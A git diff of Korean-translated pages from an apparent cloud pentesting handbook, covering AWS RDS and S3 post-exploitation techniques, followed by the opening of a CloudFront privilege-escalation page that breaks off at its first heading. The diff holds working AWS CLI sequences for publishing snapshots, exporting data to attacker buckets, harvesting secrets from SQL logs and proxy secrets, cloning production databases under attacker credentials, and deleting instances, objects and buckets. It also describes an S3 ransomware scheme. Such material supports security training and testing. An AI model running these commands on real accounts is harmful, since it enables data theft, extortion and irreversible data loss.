+# Delete a DB instance (creates a final snapshot unless you skip it) +aws rds delete-db-instance \ +--db-instance-identifier \ +--final-db-snapshot-identifier # omit or replace with --skip-final-snapshot to avoid snapshot + +# Delete a DB instance and skip final snapshot (more destructive) +aws rds delete-db-instance \ +--db-instance-identifier \ +--skip-final-snapshot + +# Delete a manual DB snapshot +aws rds delete-db-snapshot \ +--db-snapshot-identifier + +# Delete an Aurora DB cluster (creates a final snapshot unless you skip) +aws rds delete-db-cluster \ +--db-cluster-identifier \ +--final-db-snapshot-identifier # or use --skip-final-snapshot +``` ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -이 권한이 있으면 공격자는 **DB의 스냅샷을 생성**하고 이를 **공개적으로 이용 가능**하게 만들 수 있다. 그런 다음 자신의 계정에서 그 스냅샷으로부터 DB를 생성할 수 있다. +이러한 permissions을 가진 attacker는 **create an snapshot of a DB** 하고 이를 **publicly** **available** 하게 만들 수 있습니다. 그런 다음, 그는 자신의 account에서 해당 snapshot으로부터 DB를 생성할 수 있습니다. -공격자에게 `rds:CreateDBSnapshot` 권한이 **없더라도**, 다른 생성된 스냅샷을 **공개**로 만들 수 있다. +만약 attacker가 **doesn't have the `rds:CreateDBSnapshot`**, 그래도 그는 생성된 **other** snapshot들을 **public** 하게 만들 수 있습니다. ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -53,15 +89,15 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier -- ``` ### `rds:DownloadDBLogFilePortion` -`rds:DownloadDBLogFilePortion` 권한이 있는 공격자는 **RDS 인스턴스의 로그 파일 일부를 다운로드할 수 있습니다**. 민감한 데이터나 access credentials가 실수로 로그에 기록되면, 공격자는 이 정보를 이용해 권한을 상승시키거나 무단으로 조치를 취할 수 있습니다. +`rds:DownloadDBLogFilePortion` 권한이 있는 공격자는 **RDS 인스턴스의 로그 파일 일부를 다운로드할 수 있습니다**. 민감한 데이터나 접근 자격증명이 실수로 로그에 기록되어 있다면, 공격자는 이 정보를 이용해 권한을 상승시키거나 무단으로 작업을 수행할 수 있습니다. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` -**잠재적 영향**: leaked credentials를 사용하여 민감한 정보에 접근하거나 무단으로 조치를 수행할 수 있습니다. +**잠재적 영향**: leaked credentials를 사용해 민감한 정보에 접근하거나 무단 작업을 수행할 수 있음. ### `rds:DeleteDBInstance` -해당 권한을 가진 공격자는 **기존 RDS 인스턴스에 대해 DoS를 수행할 수 있습니다**. +해당 권한을 가진 공격자는 **DoS existing RDS instances**. ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot @@ -73,25 +109,25 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final > [!NOTE] > TODO: 테스트 -이 권한을 가진 공격자는 **RDS 인스턴스 스냅샷을 S3 버킷으로 내보낼 수 있습니다**. 공격자가 대상 S3 버킷을 제어할 수 있는 경우, 내보낸 스냅샷 내에 있는 민감한 데이터에 접근할 수 있습니다. +이 권한을 가진 attacker는 **RDS 인스턴스 스냅샷을 S3 버킷으로 내보낼 수 있습니다**. 만약 attacker가 대상 S3 버킷을 제어할 수 있다면, 내보낸 스냅샷 내의 민감한 데이터에 접근할 수 있습니다. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` -**Potential impact**: 내보낸 스냅샷의 민감한 데이터에 대한 접근. +**Potential impact**: 내보낸 스냅샷에 포함된 민감한 데이터에 접근할 수 있음. -### 스텔스 복원을 위한 리전 간 자동 백업 복제 (`rds:StartDBInstanceAutomatedBackupsReplication`) +### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`) -리전 간 자동 백업 복제를 악용해 RDS 인스턴스의 자동 백업을 다른 AWS 리전으로 조용히 복제하고 그곳에서 복원합니다. 공격자는 복원된 DB를 공개적으로 접근 가능하게 만들고 마스터 암호를 재설정해 수비자가 모니터링하지 않을 수 있는 리전에서 오프-밴드로 데이터를 획득할 수 있습니다. +cross-Region automated backups replication을 악용하면 RDS 인스턴스의 automated backups를 다른 AWS Region으로 조용히 복제하고 그곳에서 복원할 수 있습니다. 그 후 공격자는 복원된 DB를 공개적으로 접근 가능하도록 만들고 마스터 비밀번호를 재설정하여 수비자가 모니터링하지 않을 수 있는 Region에서 오프밴드로 데이터를 획득할 수 있습니다. Permissions needed (minimum): -- `rds:StartDBInstanceAutomatedBackupsReplication` 대상 리전에서 -- `rds:DescribeDBInstanceAutomatedBackups` 대상 리전에서 -- `rds:RestoreDBInstanceToPointInTime` 대상 리전에서 -- `rds:ModifyDBInstance` 대상 리전에서 +- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region +- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region +- `rds:RestoreDBInstanceToPointInTime` in the destination Region +- `rds:ModifyDBInstance` in the destination Region - `rds:StopDBInstanceAutomatedBackupsReplication` (선택적 정리) - `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (복원된 DB를 노출하기 위해) -Impact: 프로덕션 데이터 사본을 다른 리전으로 복원하고 공격자가 제어하는 자격증명으로 공개 노출함으로써 지속성 확보 및 데이터 유출. +Impact: 프로덕션 데이터의 복사본을 다른 Region으로 복원하고 공격자가 제어하는 자격증명으로 공개적으로 노출함으로써 지속성 유지 및 데이터 유출을 달성할 수 있음.
엔드투엔드 CLI (플레이스홀더 교체) @@ -165,7 +201,7 @@ aws rds stop-db-instance-automated-backups-replication \ ### DB parameter groups를 통해 전체 SQL 로깅을 활성화하고 RDS log APIs로 exfiltrate -`rds:ModifyDBParameterGroup`을 RDS log download APIs와 함께 악용하여 애플리케이션에서 실행된 모든 SQL 문을 캡처합니다 (DB 엔진 자격증명 불필요). 엔진 SQL 로깅을 활성화하고 파일 로그를 `rds:DescribeDBLogFiles`와 `rds:DownloadDBLogFilePortion`(또는 REST `downloadCompleteLogFile`)으로 가져옵니다. secrets/PII/JWTs가 포함될 수 있는 쿼리를 수집하는 데 유용합니다. +애플리케이션에서 실행된 모든 SQL 문을 캡처하기 위해 `rds:ModifyDBParameterGroup`와 RDS log download APIs를 악용합니다 (DB 엔진 자격 증명 불필요). 엔진 SQL 로깅을 활성화한 뒤 `rds:DescribeDBLogFiles` 및 `rds:DownloadDBLogFilePortion`(또는 REST `downloadCompleteLogFile`)로 로그 파일을 가져옵니다. secrets/PII/JWTs를 포함할 수 있는 쿼리를 수집하는 데 유용합니다. Permissions needed (minimum): - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion` @@ -173,16 +209,16 @@ Permissions needed (minimum): - `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one) - `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL) -Steps -1) Recon 대상과 현재 파라미터 그룹 확인 +단계 +1) Recon: 대상 및 현재 parameter group 확인 ```bash aws rds describe-db-instances \ --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \ --output table ``` -2) custom DB parameter group가 연결되어 있는지 확인하세요 (default는 편집할 수 없습니다) -- 인스턴스가 이미 custom group을 사용 중이라면, 다음 단계에서 해당 이름을 재사용하세요. -- 그렇지 않다면 engine family에 맞는 custom DB parameter group을 생성하고 연결하세요: +2) custom DB parameter group이 연결되어 있는지 확인하세요 (기본값은 편집할 수 없습니다) +- 인스턴스가 이미 custom DB parameter group을 사용하고 있다면, 다음 단계에서 해당 이름을 재사용하세요. +- 그렇지 않으면 엔진 패밀리에 맞는 custom DB parameter group을 생성하고 연결하세요: ```bash # Example for PostgreSQL 16 aws rds create-db-parameter-group \ @@ -197,7 +233,7 @@ aws rds modify-db-instance \ # Wait until status becomes "available" ``` 3) 자세한 SQL 로깅 활성화 -- MySQL engines (즉시 / 재부팅 불필요): +- MySQL 엔진 (즉시 / 재부팅 불필요): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ @@ -208,7 +244,7 @@ aws rds modify-db-parameter-group \ # "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \ # "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate" ``` -- PostgreSQL 엔진 (재부팅 필요): +- PostgreSQL 엔진(재부팅 필요): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ @@ -220,11 +256,11 @@ aws rds modify-db-parameter-group \ # Reboot if any parameter is pending-reboot aws rds reboot-db-instance --db-instance-identifier ``` -4) 워크로드를 실행(또는 쿼리를 생성). 쿼리는 엔진 파일 logs에 기록됩니다 +4) 워크로드를 실행하거나 쿼리를 생성합니다. 쿼리는 엔진 파일 로그에 기록됩니다 - MySQL: `general/mysql-general.log` - PostgreSQL: `postgresql.log` -5) logs를 찾아 다운로드합니다 (no DB creds required) +5) 로그를 찾아 다운로드합니다(DS 자격 증명 불필요) ```bash aws rds describe-db-log-files --db-instance-identifier @@ -239,14 +275,14 @@ aws rds download-db-log-file-portion \ ```bash grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head ``` -예시 증거 (편집됨): +예시 증거(편집됨): ```text 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!') 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED') 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED') ``` 정리 -- 필요하면 매개변수를 기본값으로 되돌리고 재부팅하세요: +- 파라미터를 기본값으로 되돌리고 필요하면 재부팅하세요: ```bash # MySQL aws rds modify-db-parameter-group \ @@ -261,19 +297,19 @@ aws rds modify-db-parameter-group \ "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot" # Reboot if pending-reboot ``` -영향: Post-exploitation 단계에서 AWS APIs를 통해 모든 애플리케이션 SQL 문을 캡처하여 데이터에 접근할 수 있습니다 (no DB creds), 잠재적으로 secrets, JWTs, 및 PII를 leak할 수 있습니다. +영향: Post-exploitation 단계에서 AWS APIs를 통해 애플리케이션의 모든 SQL 문을 캡처하여 데이터에 접근할 수 있으며 (no DB creds), secrets, JWTs, and PII가 leak될 수 있습니다. ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance` -RDS read replicas를 악용하여 primary instance credentials를 건드리지 않고도 out-of-band 읽기 접근을 얻을 수 있습니다. 공격자는 production 인스턴스로부터 read replica를 생성하고, replica의 master password를 재설정(이 경우 primary는 변경되지 않음)한 뒤, 선택적으로 replica를 public으로 노출시켜 데이터를 exfiltrate할 수 있습니다. +RDS read replicas를 악용하여 primary 인스턴스의 자격증명에 손대지 않고도 아웃오브밴드 읽기 접근을 얻을 수 있습니다. 공격자는 production 인스턴스에서 read replica를 생성한 뒤 replica의 master password를 재설정할 수 있습니다(이 작업은 primary를 변경하지 않습니다). 선택적으로 replica를 공개로 노출하여 데이터를 exfiltrate할 수 있습니다. -Permissions needed (minimum): +필요 권한 (최소): - `rds:DescribeDBInstances` - `rds:CreateDBInstanceReadReplica` - `rds:ModifyDBInstance` -- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly) +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (공개로 노출하는 경우) -영향: 공격자가 제어하는 credentials로 구성된 replica를 통해 production 데이터에 대한 읽기 전용 접근을 얻을 수 있으며; primary는 건드리지 않고 replication이 계속되므로 탐지 가능성은 낮아집니다. +영향: 공격자가 제어하는 자격증명을 가진 replica를 통해 production 데이터에 대한 읽기 전용 접근이 가능하며; primary는 건드리지 않은 채 replication이 계속되므로 탐지 가능성이 낮습니다. ```bash # 1) Recon: find non-Aurora sources with backups enabled aws rds describe-db-instances \ @@ -304,13 +340,13 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier # Optional: promote for persistence # aws rds promote-read-replica --db-instance-identifier ``` -증거 예시 (MySQL): -- 레플리카 DB 상태: `available`, read replication: `replicating` -- 새 비밀번호로의 연결 성공 및 `@@read_only=1`로 읽기 전용 레플리카 접근이 확인됨. +예시 증거 (MySQL): +- 리플리카 DB 상태: `available`, 읽기 복제: `replicating` +- 새 비밀번호로 성공적으로 연결되었고 `@@read_only=1`로 읽기 전용 리플리카 접근이 확인됨. ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance` -RDS Blue/Green을 악용하여 프로덕션 DB를 지속적으로 복제되는 읽기 전용 green 환경으로 클론합니다. 그런 다음 green 마스터 자격 증명을 재설정하여 blue (prod) 인스턴스를 건드리지 않고 데이터에 접근합니다. 이는 snapshot sharing보다 은밀하며, 종종 소스만을 모니터링하는 감시를 우회합니다. +RDS Blue/Green를 악용해 프로덕션 DB를 지속적으로 복제되는 읽기 전용 green 환경으로 클론한다. 그런 다음 green 마스터 자격증명을 재설정해 blue (prod) 인스턴스를 건드리지 않고 데이터를 접근한다. 이는 스냅샷 공유보다 은밀하며 종종 소스에만 초점을 맞춘 모니터링을 우회한다. ```bash # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account) aws rds describe-db-instances \ @@ -357,18 +393,18 @@ aws rds delete-blue-green-deployment \ --blue-green-deployment-identifier \ --delete-target true ``` -영향: 읽기 전용이지만 프로덕션 인스턴스를 수정하지 않고 프로덕션의 거의 실시간 클론에 대한 전체 데이터 접근 권한을 가집니다. 은밀한 데이터 추출 및 오프라인 분석에 유용합니다. +영향: 읽기 전용이지만 프로덕션 인스턴스를 수정하지 않고 거의 실시간으로 복제된 프로덕션의 전체 데이터에 접근할 수 있습니다. 은밀한 데이터 추출 및 오프라인 분석에 유용합니다. ### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password -Aurora를 악용하여 대상 클러스터에서 RDS Data API HTTP endpoint를 활성화하고 마스터 암호를 공격자가 제어하는 값으로 재설정한 다음 HTTPS를 통해 SQL을 실행합니다(직접적인 VPC 네트워크 경로 불필요). Data API/EnableHttpEndpoint를 지원하는 Aurora 엔진에서 작동합니다(예: Aurora MySQL 8.0 provisioned; 일부 Aurora PostgreSQL/MySQL 버전). +Aurora를 악용하여 대상 클러스터에서 RDS Data API HTTP endpoint를 활성화하고, 마스터 패스워드를 공격자가 제어하는 값으로 재설정한 후 HTTPS로 SQL을 실행합니다(별도의 VPC 네트워크 경로 불필요). Data API/EnableHttpEndpoint를 지원하는 Aurora 엔진에서 작동합니다(예: Aurora MySQL 8.0 provisioned; 일부 Aurora PostgreSQL/MySQL 버전). 권한(최소): - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint) - secretsmanager:CreateSecret - rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used) -영향: 네트워크 분할을 우회하고 DB에 대한 직접 VPC 연결 없이 AWS APIs를 통해 데이터를 exfiltrate합니다. +영향: 네트워크 분할을 우회하고 DB에 대한 직접적인 VPC 연결 없이 AWS APIs를 통해 데이터를 유출할 수 있습니다.
엔드투엔드 CLI (Aurora MySQL 예시) @@ -424,21 +460,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
참고: -- 다중 문장(SQL)이 `rds-data`에 의해 거부되면, 별도의 `execute-statement` 호출을 수행하세요. -- `modify-db-cluster --enable-http-endpoint`가 효과가 없는 엔진의 경우 `rds enable-http-endpoint --resource-arn`를 사용하세요. -- 엔진/버전이 실제로 Data API를 지원하는지 확인하세요; 그렇지 않으면 `HttpEndpointEnabled`가 False로 남습니다. +- rds-data가 다중 SQL 문을 거부하면, 개별 execute-statement 호출을 사용하세요. +- modify-db-cluster --enable-http-endpoint가 효과가 없는 엔진에서는 rds enable-http-endpoint --resource-arn를 사용하세요. +- 엔진/버전이 실제로 Data API를 지원하는지 확인하세요; 그렇지 않으면 HttpEndpointEnabled는 False로 유지됩니다. -### RDS Proxy 인증 Secret을 통한 DB 자격 증명 수집 (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) +### RDS Proxy auth secrets를 통한 DB 자격증명 수집 (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) -RDS Proxy 구성을 악용해 백엔드 인증에 사용되는 Secrets Manager secret을 찾아낸 다음, 해당 secret을 읽어 데이터베이스 자격 증명을 획득합니다. 많은 환경이 광범위한 `secretsmanager:GetSecretValue` 권한을 부여하므로 DB 자격 증명으로의 전환이 용이합니다. Secret이 CMK를 사용하는 경우, 잘못 범위가 지정된 KMS 권한으로 `kms:Decrypt`도 허용될 수 있습니다. +RDS Proxy 구성을 악용해 백엔드 인증에 사용되는 Secrets Manager 시크릿을 찾아 해당 시크릿을 읽어 DB 자격증명을 얻습니다. 많은 환경에서 광범위한 `secretsmanager:GetSecretValue` 권한이 부여되어 있어 DB 자격증명으로의 전환이 쉬운 편입니다. 시크릿이 CMK를 사용하는 경우, 잘못 범위 지정된 KMS 권한으로 `kms:Decrypt`도 허용될 수 있습니다. -Permissions needed (minimum): +필요 권한(최소): - `rds:DescribeDBProxies` -- `secretsmanager:GetSecretValue` on the referenced SecretArn -- Optional when the secret uses a CMK: `kms:Decrypt` on that key +- `secretsmanager:GetSecretValue` (참조된 SecretArn에 대해) +- 시크릿이 CMK를 사용하는 경우 선택적: 해당 키에 대한 `kms:Decrypt` -Impact: 프록시에 구성된 DB 사용자명/비밀번호가 즉시 노출되며; 직접 DB 접근 또는 추가 lateral movement가 가능해집니다. +영향: 프록시에 구성된 DB 사용자명/비밀번호가 즉시 노출됩니다; 직접 DB 접근 또는 추가적 lateral movement를 가능하게 합니다. 단계 ```bash @@ -472,27 +508,27 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \ aws rds wait db-proxy-available --db-proxy-name p0 # Now run the enumeration + secret read from the Steps above ``` -정리 (랩) +정리 (lab) ```bash aws rds delete-db-proxy --db-proxy-name p0 aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite aws iam delete-role --role-name rds-proxy-secret-role aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery ``` -### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration) +### Aurora zero‑ETL을 통한 Amazon Redshift로의 은밀한 지속적 데이터 유출 (rds:CreateIntegration) -Aurora PostgreSQL zero‑ETL 통합을 악용하여 운영 데이터를 공격자가 제어하는 Redshift Serverless namespace로 지속적으로 복제할 수 있습니다. 특정 Aurora cluster ARN에 대해 CreateInboundIntegration/AuthorizeInboundIntegration을 허용하는 관대한 Redshift resource policy가 있으면, 공격자는 DB creds, snapshots 또는 네트워크 노출 없이 거의 실시간에 가까운 데이터 복사본을 확립할 수 있습니다. +Aurora PostgreSQL zero‑ETL 통합을 악용해 운영 데이터를 공격자가 제어하는 Redshift Serverless 네임스페이스로 지속적으로 복제할 수 있습니다. 특정 Aurora cluster ARN에 대해 CreateInboundIntegration/AuthorizeInboundIntegration을 허용하는 관대한 Redshift 리소스 정책이 있으면, 공격자는 DB creds, snapshots 또는 네트워크 노출 없이 거의 실시간에 가까운 데이터 복사본을 만들 수 있습니다. -필요 권한(최소): +Permissions needed (minimum): - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration` - `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations` - `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query) - `rds-data:ExecuteStatement` (optional; to seed data if needed) -테스트 대상: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless. +Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
-1) Redshift Serverless namespace + 워크그룹 생성 +1) Redshift Serverless 네임스페이스 + workgroup 생성 ```bash REGION=us-east-1 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ @@ -508,7 +544,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
-2) Aurora 소스를 허용하도록 Redshift 리소스 정책 구성 +2) Redshift 리소스 정책을 구성하여 Aurora 소스를 허용 ```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN= @@ -570,7 +606,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
-4) RDS에서 zero‑ETL integration 생성 +4) RDS에서 zero‑ETL 통합 생성 ```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ @@ -582,7 +618,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
-5) Redshift에서 복제된 데이터 materialize 및 쿼리하기 +5) Redshift에서 복제된 데이터를 materialize하고 query하기 ```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ @@ -597,10 +633,9 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d 테스트에서 관찰된 증거: - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-... -- SVV_INTEGRATION에서 integration_id 377a462b-c42c-4f08-937b-77fe75d98211 및 state PendingDbConnectState가 DB 생성 이전에 표시됨. -- CREATE DATABASE FROM INTEGRATION 후 테이블 나열에서 schema ztl 및 table customers가 나타났고, ztl.customers에서 조회한 결과 2행(Alice, Bob)이 반환됨. - -영향: 공격자가 제어하는 Redshift Serverless로 선택된 Aurora PostgreSQL 테이블이 데이터베이스 자격증명, 백업 또는 소스 클러스터에 대한 네트워크 접근 없이 지속적이고 거의 실시간으로 exfiltration될 수 있음. +- SVV_INTEGRATION은 DB 생성 이전에 integration_id 377a462b-c42c-4f08-937b-77fe75d98211과 state PendingDbConnectState를 표시했습니다. +- CREATE DATABASE FROM INTEGRATION 이후 테이블을 나열하자 schema ztl과 table customers가 나타났고, ztl.customers에서 선택하면 2개의 행(Alice, Bob)이 반환되었습니다. +영향: 공격자가 제어하는 Redshift Serverless로 선택된 Aurora PostgreSQL 테이블들을 데이터베이스 자격증명, 백업, 또는 소스 클러스터에 대한 네트워크 접근 없이 지속적(거의 실시간)으로 exfiltration할 수 있습니다. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md index 4cefa1bbc..3b4d145da 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md @@ -4,35 +4,66 @@ ## S3 -자세한 정보는 다음을 확인하세요: +For more information check: {{#ref}} ../../aws-services/aws-s3-athena-and-glacier-enum.md {{#endref}} -### 민감한 정보 +### Sensitive Information -때때로 버킷에 읽을 수 있는 형태로 민감한 정보가 저장되어 있는 것을 발견할 수 있습니다. 예: terraform state secrets. +때때로 버킷에서 읽을 수 있는 형태로 민감한 정보를 발견할 수 있습니다. 예를 들어, terraform state secrets. ### Pivoting Different platforms could be using S3 to store sensitive assets.\ -For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. 쓰기 권한을 가진 공격자는 버킷의 **modify the code**를 통해 다른 플랫폼으로 **pivot**하거나, JS 파일을 수정해 **takeover accounts**할 수 있습니다. +예를 들어, **airflow**는 **DAGs** **code**를 그곳에 저장할 수 있고, 또는 **web pages**가 S3에서 직접 제공될 수 있습니다. 쓰기 권한을 가진 공격자는 버킷의 **modify the code**를 통해 다른 플랫폼으로 **pivot**하거나, JS 파일을 수정하여 **takeover accounts**할 수 있습니다. ### S3 Ransomware -In this scenario, the **attacker creates a KMS (Key Management Service) key in their own AWS account** or another compromised account. They then make this **key accessible to anyone in the world**, allowing any AWS user, role, or account to encrypt objects using this key. However, the objects cannot be decrypted. +이 시나리오에서, **attacker creates a KMS (Key Management Service) key in their own AWS account** 또는 다른 탈취된 계정에서 키를 생성합니다. 그런 다음 이 **key를 전 세계 누구나 사용할 수 있게** 설정하여, 어떤 AWS 사용자, 역할 또는 계정이든 이 키로 객체를 암호화할 수 있게 만듭니다. 그러나 해당 객체들은 복호화될 수 없습니다. -공격자는 다양한 방법을 사용해 목표 **S3 bucket and gains write-level access**를 식별하고 여기에 쓰기 권한을 획득합니다. 이는 버킷이 공개적으로 노출되는 잘못된 구성 때문이거나 공격자가 AWS 환경 자체에 접근했기 때문일 수 있습니다. 공격자는 일반적으로 개인 식별 정보(PII), 보호된 건강 정보(PHI), 로그, 백업 등 민감한 정보를 포함한 버킷을 목표로 삼습니다. +공격자는 대상 **S3 bucket을 식별하고 write-level access를 획득**합니다. 이는 버킷 설정 미비로 공개되어 있거나 공격자가 AWS 환경 자체에 접근했기 때문일 수 있습니다. 공격자는 일반적으로 개인 식별 정보(PII), 보호된 건강 정보(PHI), 로그, 백업 등 민감한 정보를 포함한 버킷을 표적으로 삼습니다. -공격자는 해당 버킷을 랜섬웨어의 대상이 될 수 있는지 판단하기 위해 구성 설정을 확인합니다. 여기에는 **S3 Object Versioning**이 활성화되어 있는지와 **multi-factor authentication delete (MFA delete) is enabled** 여부를 확인하는 것이 포함됩니다. Object Versioning이 활성화되어 있지 않으면 공격자는 진행할 수 있습니다. Object Versioning은 활성화되어 있지만 MFA delete가 비활성화되어 있으면 공격자는 **disable Object Versioning**할 수 있습니다. Object Versioning과 MFA delete 둘 다 활성화되어 있으면, 해당 특정 버킷을 랜섬웨어로 만드는 것은 더 어려워집니다. +버킷이 랜섬웨어 대상으로 적합한지 판단하기 위해 공격자는 구성 설정을 확인합니다. 여기에는 **S3 Object Versioning**이 활성화되어 있는지, **multi-factor authentication delete (MFA delete)**가 활성화되어 있는지를 확인하는 것이 포함됩니다. Object Versioning이 활성화되어 있지 않다면 공격자는 계속 진행할 수 있습니다. Object Versioning이 활성화되어 있지만 MFA delete가 비활성화된 경우 공격자는 **Object Versioning을 비활성화**할 수 있습니다. Object Versioning과 MFA delete가 모두 활성화되어 있다면 해당 버킷에 대해 랜섬웨어 공격을 수행하기가 더 어려워집니다. -AWS API를 사용하여 공격자는 **replaces each object in the bucket with an encrypted copy using their KMS key**. 이로써 버킷의 데이터가 암호화되어 키 없이는 접근할 수 없게 됩니다. +공격자는 AWS API를 사용하여 **버킷 내 각 객체를 자신의 KMS key로 암호화된 복사본으로 대체**합니다. 이로 인해 버킷의 데이터가 사실상 암호화되어 키 없이는 접근할 수 없게 됩니다. -더 큰 압박을 주기 위해 공격자는 공격에 사용된 KMS 키의 삭제를 예약합니다. 이렇게 하면 키가 삭제되어 데이터가 영구적으로 손실되기 전까지 대상에게 7일 간의 복구 기간이 주어집니다. +추가 압박을 위해 공격자는 공격에 사용된 KMS 키의 삭제를 예약할 수 있습니다. 이렇게 하면 대상은 키가 삭제되어 데이터가 영구적으로 손실되기 전 7일의 복구 기간을 갖게 됩니다. -마지막으로 공격자는 보통 "ransom-note.txt"라는 이름의 최종 파일을 업로드할 수 있으며, 이 파일에는 대상이 파일을 복구하는 방법에 대한 지침이 들어 있습니다. 이 파일은 대상의 주의를 끌고 랜섬웨어 공격을 인지시키기 위해 암호화하지 않은 상태로 업로드됩니다. +마지막으로 공격자는 보통 "ransom-note.txt"라는 이름의 최종 파일을 업로드하여 대상에게 파일 복구 방법을 안내하는 지침을 남길 수 있습니다. 이 파일은 주의를 끌고 랜섬웨어 공격을 알리기 위해 암호화되지 않은 상태로 업로드됩니다. -**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** +### `s3:RestoreObject` + +An attacker with the s3:RestoreObject permission can reactivate objects archived in Glacier or Deep Archive, making them temporarily accessible. This enables recovery and exfiltration of historically archived data (백업, 스냅샷, 로그, 인증서, 오래된 비밀 등) that would normally be out of reach. If the attacker combines this permission with read permissions (e.g., s3:GetObject), they can obtain full copies of sensitive data. +```bash +aws s3api restore-object \ +--bucket \ +--key \ +--restore-request '{ +"Days": , +"GlacierJobParameters": { "Tier": "Standard" } +}' +``` +### `s3:Delete*` + +s3:Delete* 권한을 가진 공격자는 객체, 버전 및 전체 버킷을 삭제할 수 있어 백업을 무력화하고 즉각적이며 되돌릴 수 없는 데이터 손실, 증거 파괴 및 백업 또는 복구 아티팩트의 손상을 초래할 수 있습니다. +```bash +# Delete an object from a bucket +aws s3api delete-object \ +--bucket \ +--key + +# Delete a specific version +aws s3api delete-object \ +--bucket \ +--key \ +--version-id + +# Delete a bucket +aws s3api delete-bucket \ +--bucket +``` +**자세한 내용은** [**원문 연구를 확인하세요**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md new file mode 100644 index 000000000..98cafa09f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md @@ -0,0 +1,217 @@ +# AWS - CloudFront Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## CloudFront + +### `cloudfront:UpdateDistribution` & 